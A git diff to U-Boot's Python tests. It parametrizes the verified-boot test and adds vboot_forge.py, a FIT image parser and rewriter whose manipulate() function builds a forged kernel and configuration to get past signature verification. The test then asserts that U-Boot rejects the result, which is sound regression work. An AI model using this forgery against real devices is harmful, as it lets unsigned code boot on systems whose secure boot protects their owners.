diff options
Diffstat (limited to 'test/py')
-rw-r--r-- | test/py/tests/test_efi_loader.py | 6 | ||||
-rw-r--r-- | test/py/tests/test_vboot.py | 155 | ||||
-rw-r--r-- | test/py/tests/vboot_forge.py | 423 |
3 files changed, 511 insertions, 73 deletions
diff --git a/test/py/tests/test_efi_loader.py b/test/py/tests/test_efi_loader.py index adf9d77452..9465c28fbc 100644 --- a/test/py/tests/test_efi_loader.py +++ b/test/py/tests/test_efi_loader.py @@ -141,12 +141,13 @@ def fetch_tftp_file(u_boot_console, env_conf): return addr +@pytest.mark.buildconfigspec('of_control') @pytest.mark.buildconfigspec('cmd_bootefi_hello_compile') def test_efi_helloworld_net(u_boot_console): """Run the helloworld.efi binary via TFTP. - The helloworld.efi file is downloaded from the TFTP server and gets - executed. + The helloworld.efi file is downloaded from the TFTP server and is executed + using the fallback device tree at $fdtcontroladdr. """ addr = fetch_tftp_file(u_boot_console, 'env__efi_loader_helloworld_file') @@ -169,6 +170,7 @@ def test_efi_helloworld_builtin(u_boot_console): expected_text = 'Hello, world' assert expected_text in output +@pytest.mark.buildconfigspec('of_control') @pytest.mark.buildconfigspec('cmd_bootefi') def test_efi_grub_net(u_boot_console): """Run the grub.efi binary via TFTP. diff --git a/test/py/tests/test_vboot.py b/test/py/tests/test_vboot.py index 9c41ee56b1..e67f2b3d0f 100644 --- a/test/py/tests/test_vboot.py +++ b/test/py/tests/test_vboot.py @@ -24,10 +24,18 @@ For configuration verification: Tests run with both SHA1 and SHA256 hashing. """ -import pytest -import sys import struct +import pytest import u_boot_utils as util +import vboot_forge + +TESTDATA = [ + ['sha1', '', False], + ['sha1', '-pss', False], + ['sha256', '', False], + ['sha256', '-pss', False], + ['sha256', '-pss', True], +] @pytest.mark.boardspec('sandbox') @pytest.mark.buildconfigspec('fit_signature') @@ -35,7 +43,8 @@ import u_boot_utils as util @pytest.mark.requiredtool('fdtget') @pytest.mark.requiredtool('fdtput') @pytest.mark.requiredtool('openssl') -def test_vboot(u_boot_console): +@pytest.mark.parametrize("sha_algo,padding,required", TESTDATA) +def test_vboot(u_boot_console, sha_algo, padding, required): """Test verified boot signing with mkimage and verification with 'bootm'. This works using sandbox only as it needs to update the device tree used @@ -75,13 +84,14 @@ def test_vboot(u_boot_console): with cons.log.section('Verified boot %s %s' % (sha_algo, test_type)): output = cons.run_command_list( ['host load hostfs - 100 %stest.fit' % tmpdir, - 'fdt addr 100', - 'bootm 100']) - assert(expect_string in ''.join(output)) + 'fdt addr 100', + 'bootm 100']) + assert expect_string in ''.join(output) if boots: - assert('sandbox: continuing, as we cannot run' in ''.join(output)) + assert 'sandbox: continuing, as we cannot run' in ''.join(output) else: - assert('sandbox: continuing, as we cannot run' not in ''.join(output)) + assert('sandbox: continuing, as we cannot run' + not in ''.join(output)) def make_fit(its): """Make a new FIT from the .its source file. @@ -108,20 +118,6 @@ def test_vboot(u_boot_console): util.run_and_log(cons, [mkimage, '-F', '-k', tmpdir, '-K', dtb, '-r', fit]) - def sign_fit_norequire(sha_algo): - """Sign the FIT - - Signs the FIT and writes the signature into it. It also writes the - public key into the dtb. - - Args: - sha_algo: Either 'sha1' or 'sha256', to select the algorithm to - use. - """ - cons.log.action('%s: Sign images' % sha_algo) - util.run_and_log(cons, [mkimage, '-F', '-k', tmpdir, '-K', dtb, - fit]) - def replace_fit_totalsize(size): """Replace FIT header's totalsize with something greater. @@ -142,6 +138,22 @@ def test_vboot(u_boot_console): handle.write(struct.pack(">I", size)) return struct.unpack(">I", total_size)[0] + def create_rsa_pair(name): + """Generate a new RSA key paid and certificate + + Args: + name: Name of of the key (e.g. 'dev') + """ + public_exponent = 65537 + util.run_and_log(cons, 'openssl genpkey -algorithm RSA -out %s%s.key ' + '-pkeyopt rsa_keygen_bits:2048 ' + '-pkeyopt rsa_keygen_pubexp:%d' % + (tmpdir, name, public_exponent)) + + # Create a certificate containing the public key + util.run_and_log(cons, 'openssl req -batch -new -x509 -key %s%s.key ' + '-out %s%s.crt' % (tmpdir, name, tmpdir, name)) + def test_with_algo(sha_algo, padding): """Test verified boot with the given hash algorithm. @@ -160,7 +172,7 @@ def test_vboot(u_boot_console): # Build the FIT, but don't sign anything yet cons.log.action('%s: Test FIT with signed images' % sha_algo) - make_fit('sign-images-%s%s.its' % (sha_algo , padding)) + make_fit('sign-images-%s%s.its' % (sha_algo, padding)) run_bootm(sha_algo, 'unsigned images', 'dev-', True) # Sign images with our dev keys @@ -171,7 +183,7 @@ def test_vboot(u_boot_console): dtc('sandbox-u-boot.dts') cons.log.action('%s: Test FIT with signed configuration' % sha_algo) - make_fit('sign-configs-%s%s.its' % (sha_algo , padding)) + make_fit('sign-configs-%s%s.its' % (sha_algo, padding)) run_bootm(sha_algo, 'unsigned config', '%s+ OK' % sha_algo, True) # Sign images with our dev keys @@ -180,14 +192,29 @@ def test_vboot(u_boot_console): cons.log.action('%s: Check signed config on the host' % sha_algo) - util.run_and_log(cons, [fit_check_sign, '-f', fit, '-k', tmpdir, - '-k', dtb]) + util.run_and_log(cons, [fit_check_sign, '-f', fit, '-k', dtb]) + + # Make sure that U-Boot checks that the config is in the list of hashed + # nodes. If it isn't, a security bypass is possible. + with open(fit, 'rb') as fd: + root, strblock = vboot_forge.read_fdt(fd) + root, strblock = vboot_forge.manipulate(root, strblock) + with open(fit, 'w+b') as fd: + vboot_forge.write_fdt(root, strblock, fd) + util.run_and_log_expect_exception( + cons, [fit_check_sign, '-f', fit, '-k', dtb], + 1, 'Failed to verify required signature') + + run_bootm(sha_algo, 'forged config', 'Bad Data Hash', False) - # Replace header bytes + # Create a new properly signed fit and replace header bytes + make_fit('sign-configs-%s%s.its' % (sha_algo, padding)) + sign_fit(sha_algo) bcfg = u_boot_console.config.buildconfig max_size = int(bcfg.get('config_fit_signature_max_size', 0x10000000), 0) existing_size = replace_fit_totalsize(max_size + 1) - run_bootm(sha_algo, 'Signed config with bad hash', 'Bad Data Hash', False) + run_bootm(sha_algo, 'Signed config with bad hash', 'Bad Data Hash', + False) cons.log.action('%s: Check overflowed FIT header totalsize' % sha_algo) # Replace with existing header bytes @@ -205,21 +232,22 @@ def test_vboot(u_boot_console): util.run_and_log(cons, 'fdtput -t bx %s %s value %s' % (fit, sig_node, sig)) - run_bootm(sha_algo, 'Signed config with bad hash', 'Bad Data Hash', False) + run_bootm(sha_algo, 'Signed config with bad hash', 'Bad Data Hash', + False) cons.log.action('%s: Check bad config on the host' % sha_algo) - util.run_and_log_expect_exception(cons, [fit_check_sign, '-f', fit, - '-k', dtb], 1, 'Failed to verify required signature') + util.run_and_log_expect_exception( + cons, [fit_check_sign, '-f', fit, '-k', dtb], + 1, 'Failed to verify required signature') def test_required_key(sha_algo, padding): """Test verified boot with the given hash algorithm. - This function test if u-boot reject an image when a required - key isn't used to sign a FIT. + This function tests if U-Boot rejects an image when a required key isn't + used to sign a FIT. Args: - sha_algo: Either 'sha1' or 'sha256', to select the algorithm to - use. + sha_algo: Either 'sha1' or 'sha256', to select the algorithm to use """ # Compile our device tree files for kernel and U-Boot. These are # regenerated here since mkimage will modify them (by adding a @@ -227,22 +255,27 @@ def test_vboot(u_boot_console): dtc('sandbox-kernel.dts') dtc('sandbox-u-boot.dts') - # Build the FIT with prod key (keys required) - # Build the FIT with dev key (keys NOT required) - # The dtb contain the key prod and dev and the key prod are set as required. - # Then try to boot the FIT with dev key - # This FIT should not be accepted by u-boot because the key prod is required cons.log.action('%s: Test FIT with configs images' % sha_algo) - make_fit('sign-configs-%s%s-prod.its' % (sha_algo , padding)) + + # Build the FIT with prod key (keys required) and sign it. This puts the + # signature into sandbox-u-boot.dtb, marked 'required' + make_fit('sign-configs-%s%s-prod.its' % (sha_algo, padding)) sign_fit(sha_algo) - make_fit('sign-configs-%s%s.its' % (sha_algo , padding)) + + # Build the FIT with dev key (keys NOT required). This adds the + # signature into sandbox-u-boot.dtb, NOT marked 'required'. + make_fit('sign-configs-%s%s.its' % (sha_algo, padding)) sign_fit(sha_algo) - run_bootm(sha_algo, 'signed configs', '', False) + # So now sandbox-u-boot.dtb two signatures, for the prod and dev keys. + # Only the prod key is set as 'required'. But FIT we just built has + # a dev signature only (sign_fit() overwrites the FIT). + # Try to boot the FIT with dev key. This FIT should not be accepted by + # U-Boot because the prod key is required. + run_bootm(sha_algo, 'required key', '', False) cons = u_boot_console tmpdir = cons.config.result_dir + '/' - tmp = tmpdir + 'vboot.tmp' datadir = cons.config.source_dir + '/test/py/tests/vboot/' fit = '%stest.fit' % tmpdir mkimage = cons.config.build_dir + '/tools/mkimage' @@ -251,42 +284,22 @@ def test_vboot(u_boot_console): dtb = '%ssandbox-u-boot.dtb' % tmpdir sig_node = '/configurations/conf-1/signature' - # Create an RSA key pair - public_exponent = 65537 - util.run_and_log(cons, 'openssl genpkey -algorithm RSA -out %sdev.key ' - '-pkeyopt rsa_keygen_bits:2048 ' - '-pkeyopt rsa_keygen_pubexp:%d' % - (tmpdir, public_exponent)) - - # Create a certificate containing the public key - util.run_and_log(cons, 'openssl req -batch -new -x509 -key %sdev.key -out ' - '%sdev.crt' % (tmpdir, tmpdir)) - - # Create an RSA key pair (prod) - public_exponent = 65537 - util.run_and_log(cons, 'openssl genpkey -algorithm RSA -out %sprod.key ' - '-pkeyopt rsa_keygen_bits:2048 ' - '-pkeyopt rsa_keygen_pubexp:%d' % - (tmpdir, public_exponent)) - - # Create a certificate containing the public key (prod) - util.run_and_log(cons, 'openssl req -batch -new -x509 -key %sprod.key -out ' - '%sprod.crt' % (tmpdir, tmpdir)) + create_rsa_pair('dev') + create_rsa_pair('prod') # Create a number kernel image with zeroes with open('%stest-kernel.bin' % tmpdir, 'w') as fd: - fd.write(5000 * chr(0)) + fd.write(500 * chr(0)) try: # We need to use our own device tree file. Remember to restore it # afterwards. old_dtb = cons.config.dtb cons.config.dtb = dtb - test_with_algo('sha1','') - test_with_algo('sha1','-pss') - test_with_algo('sha256','') - test_with_algo('sha256','-pss') - test_required_key('sha256','-pss') + if required: + test_required_key(sha_algo, padding) + else: + test_with_algo(sha_algo, padding) finally: # Go back to the original U-Boot with the correct dtb. cons.config.dtb = old_dtb diff --git a/test/py/tests/vboot_forge.py b/test/py/tests/vboot_forge.py new file mode 100644 index 0000000000..0fb7ef4024 --- /dev/null +++ b/test/py/tests/vboot_forge.py @@ -0,0 +1,423 @@ +#!/usr/bin/python3 +# SPDX-License-Identifier: GPL-2.0 +# Copyright (c) 2020, F-Secure Corporation, https://foundry.f-secure.com +# +# pylint: disable=E1101,W0201,C0103 + +""" +Verified boot image forgery tools and utilities + +This module provides services to both take apart and regenerate FIT images +in a way that preserves all existing verified boot signatures, unless you +manipulate nodes in the process. +""" + +import struct +import binascii +from io import BytesIO + +# +# struct parsing helpers +# + +class BetterStructMeta(type): + """ + Preprocesses field definitions and creates a struct.Struct instance from them + """ + def __new__(cls, clsname, superclasses, attributedict): + if clsname != 'BetterStruct': + fields = attributedict['__fields__'] + field_types = [_[0] for _ in fields] + field_names = [_[1] for _ in fields if _[1] is not None] + attributedict['__names__'] = field_names + s = struct.Struct(attributedict.get('__endian__', '') + ''.join(field_types)) + attributedict['__struct__'] = s + attributedict['size'] = s.size + return type.__new__(cls, clsname, superclasses, attributedict) + +class BetterStruct(metaclass=BetterStructMeta): + """ + Base class for better structures + """ + def __init__(self): + for t, n in self.__fields__: + if 's' in t: + setattr(self, n, '') + elif t in ('Q', 'I', 'H', 'B'): + setattr(self, n, 0) + + @classmethod + def unpack_from(cls, buffer, offset=0): + """ + Unpack structure instance from a buffer + """ + fields = cls.__struct__.unpack_from(buffer, offset) + instance = cls() + for n, v in zip(cls.__names__, fields): + setattr(instance, n, v) + return instance + + def pack(self): + """ + Pack structure instance into bytes + """ + return self.__struct__.pack(*[getattr(self, n) for n in self.__names__]) + + def __str__(self): + items = ["'%s': %s" % (n, repr(getattr(self, n))) for n in self.__names__ if n is not None] + return '(' + ', '.join(items) + ')' + +# +# some defs for flat DT data +# + +class HeaderV17(BetterStruct): + __endian__ = '>' + __fields__ = [ + ('I', 'magic'), + ('I', 'totalsize'), + ('I', 'off_dt_struct'), + ('I', 'off_dt_strings'), + ('I', 'off_mem_rsvmap'), + ('I', 'version'), + ('I', 'last_comp_version'), + ('I', 'boot_cpuid_phys'), + ('I', 'size_dt_strings'), + ('I', 'size_dt_struct'), + ] + +class RRHeader(BetterStruct): + __endian__ = '>' + __fields__ = [ + ('Q', 'address'), + ('Q', 'size'), + ] + +class PropHeader(BetterStruct): + __endian__ = '>' + __fields__ = [ + ('I', 'value_size'), + ('I', 'name_offset'), + ] + +# magical constants for DTB format +OF_DT_HEADER = 0xd00dfeed +OF_DT_BEGIN_NODE = 1 +OF_DT_END_NODE = 2 +OF_DT_PROP = 3 +OF_DT_END = 9 + +class StringsBlock: + """ + Represents a parsed device tree string block + """ + def __init__(self, values=None): + if values is None: + self.values = [] + else: + self.values = values + + def __getitem__(self, at): + if isinstance(at, str): + offset = 0 + for value in self.values: + if value == at: + break + offset += len(value) + 1 + else: + self.values.append(at) + return offset + + if isinstance(at, int): + offset = 0 + for value in self.values: + if offset == at: + return value + offset += len(value) + 1 + raise IndexError('no string found corresponding to the given offset') + + raise TypeError('only strings and integers are accepted') + +class Prop: + """ + Represents a parsed device tree property + """ + def __init__(self, name=None, value=None): + self.name = name + self.value = value + + def clone(self): + return Prop(self.name, self.value) + + def __repr__(self): + return "<Prop(name='%s', value=%s>" % (self.name, repr(self.value)) + +class Node: + """ + Represents a parsed device tree node + """ + def __init__(self, name=None): + self.name = name + self.props = [] + self.children = [] + + def clone(self): + o = Node(self.name) + o.props = [x.clone() for x in self.props] + o.children = [x.clone() for x in self.children] + return o + + def __getitem__(self, index): + return self.children[index] + + def __repr__(self): + return "<Node('%s'), %s, %s>" % (self.name, repr(self.props), repr(self.children)) + +# +# flat DT to memory +# + +def parse_strings(strings): + """ + Converts the bytes into a StringsBlock instance so it is convenient to work with + """ + strings = strings.split(b'\x00') + return StringsBlock(strings) + +def parse_struct(stream): + """ + Parses DTB structure(s) into a Node or Prop instance + """ + tag = bytearray(stream.read(4))[3] + if tag == OF_DT_BEGIN_NODE: + name = b'' + while b'\x00' not in name: + name += stream.read(4) + name = name.rstrip(b'\x00') + node = Node(name) + + item = parse_struct(stream) + while item is not None: + if isinstance(item, Node): + node.children.append(item) + elif isinstance(item, Prop): + node.props.append(item) + item = parse_struct(stream) + + return node + + if tag == OF_DT_PROP: + h = PropHeader.unpack_from(stream.read(PropHeader.size)) + length = (h.value_size + 3) & (~3) + value = stream.read(length)[:h.value_size] + prop = Prop(h.name_offset, value) + return prop + + if tag in (OF_DT_END_NODE, OF_DT_END): + return None + + raise ValueError('unexpected tag value') + +def read_fdt(fp): + """ + Reads and parses the flattened device tree (or derivatives like FIT) + """ + header = HeaderV17.unpack_from(fp.read(HeaderV17.size)) + if header.magic != OF_DT_HEADER: + raise ValueError('invalid magic value %08x; expected %08x' % (header.magic, OF_DT_HEADER)) + # TODO: read/parse reserved regions + fp.seek(header.off_dt_struct) + structs = fp.read(header.size_dt_struct) + fp.seek(header.off_dt_strings) + strings = fp.read(header.size_dt_strings) + strblock = parse_strings(strings) + root = parse_struct(BytesIO(structs)) + + return root, strblock + +# +# memory to flat DT +# + +def compose_structs_r(item): + """ + Recursive part of composing Nodes and Props into a bytearray + """ + t = bytearray() + + if isinstance(item, Node): + t.extend(struct.pack('>I', OF_DT_BEGIN_NODE)) + if isinstance(item.name, str): + item.name = bytes(item.name, 'utf-8') + name = item.name + b'\x00' + if len(name) & 3: + name += b'\x00' * (4 - (len(name) & 3)) + t.extend(name) + for p in item.props: + t.extend(compose_structs_r(p)) + for c in item.children: + t.extend(compose_structs_r(c)) + t.extend(struct.pack('>I', OF_DT_END_NODE)) + + elif isinstance(item, Prop): + t.extend(struct.pack('>I', OF_DT_PROP)) + value = item.value + h = PropHeader() + h.name_offset = item.name + if value: + h.value_size = len(value) + t.extend(h.pack()) + if len(value) & 3: + value += b'\x00' * (4 - (len(value) & 3)) + t.extend(value) + else: + h.value_size = 0 + t.extend(h.pack()) + + return t + +def compose_structs(root): + """ + Composes the parsed Nodes into a flat bytearray instance + """ + t = compose_structs_r(root) + t.extend(struct.pack('>I', OF_DT_END)) + return t + +def compose_strings(strblock): + """ + Composes the StringsBlock instance back into a bytearray instance + """ + b = bytearray() + for s in strblock.values: + b.extend(s) + b.append(0) + return bytes(b) + +def write_fdt(root, strblock, fp): + """ + Writes out a complete flattened device tree (or FIT) + """ + header = HeaderV17() + header.magic = OF_DT_HEADER + header.version = 17 + header.last_comp_version = 16 + fp.write(header.pack()) + + header.off_mem_rsvmap = fp.tell() + fp.write(RRHeader().pack()) + + structs = compose_structs(root) + header.off_dt_struct = fp.tell() + header.size_dt_struct = len(structs) + fp.write(structs) + + strings = compose_strings(strblock) + header.off_dt_strings = fp.tell() + header.size_dt_strings = len(strings) + fp.write(strings) + + header.totalsize = fp.tell() + + fp.seek(0) + fp.write(header.pack()) + +# +# pretty printing / converting to DT source +# + +def as_bytes(value): + return ' '.join(["%02X" % x for x in value]) + +def prety_print_value(value): + """ + Formats a property value as appropriate depending on the guessed data type + """ + if not value: + return '""' + if value[-1] == b'\x00': + printable = True + for x in value[:-1]: + x = ord(x) + if x != 0 and (x < 0x20 or x > 0x7F): + printable = False + break + if printable: + value = value[:-1] + return ', '.join('"' + x + '"' for x in value.split(b'\x00')) + if len(value) > 0x80: + return '[' + as_bytes(value[:0x80]) + ' ... ]' + return '[' + as_bytes(value) + ']' + +def pretty_print_r(node, strblock, indent=0): + """ + Prints out a single node, recursing further for each of its children + """ + spaces = ' ' * indent + print((spaces + '%s {' % (node.name.decode('utf-8') if node.name else '/'))) + for p in node.props: + print((spaces + ' %s = %s;' % (strblock[p.name].decode('utf-8'), prety_print_value(p.value)))) + for c in node.children: + pretty_print_r(c, strblock, indent+1) + print((spaces + '};')) + +def pretty_print(node, strblock): + """ + Generates an almost-DTS formatted printout of the parsed device tree + """ + print('/dts-v1/;') + pretty_print_r(node, strblock, 0) + +# +# manipulating the DT structure +# + +def manipulate(root, strblock): + """ + Maliciously manipulates the structure to create a crafted FIT file + """ + # locate /images/kernel@1 (frankly, it just expects it to be the first one) + kernel_node = root[0][0] + # clone it to save time filling all the properties + fake_kernel = kernel_node.clone() + # rename the node + fake_kernel.name = b'kernel@2' + # get rid of signatures/hashes + fake_kernel.children = [] + # NOTE: this simply replaces the first prop... either description or data + # should be good for testing purposes + fake_kernel.props[0].value = b'Super 1337 kernel\x00' + # insert the new kernel node under /images + root[0].children.append(fake_kernel) + + # modify the default configuration + root[1].props[0].value = b'conf@2\x00' + # clone the first (only?) configuration + fake_conf = root[1][0].clone() + # rename and change kernel and fdt properties to select the crafted kernel + fake_conf.name = b'conf@2' + fake_conf.props[0].value = b'kernel@2\x00' + fake_conf.props[1].value = b'fdt@1\x00' + # insert the new configuration under /configurations + root[1].children.append(fake_conf) + + return root, strblock + +def main(argv): + with open(argv[1], 'rb') as fp: + root, strblock = read_fdt(fp) + + print("Before:") + pretty_print(root, strblock) + + root, strblock = manipulate(root, strblock) + print("After:") + pretty_print(root, strblock) + + with open('blah', 'w+b') as fp: + write_fdt(root, strblock, fp) + +if __name__ == '__main__': + import sys + main(sys.argv) +# EOF |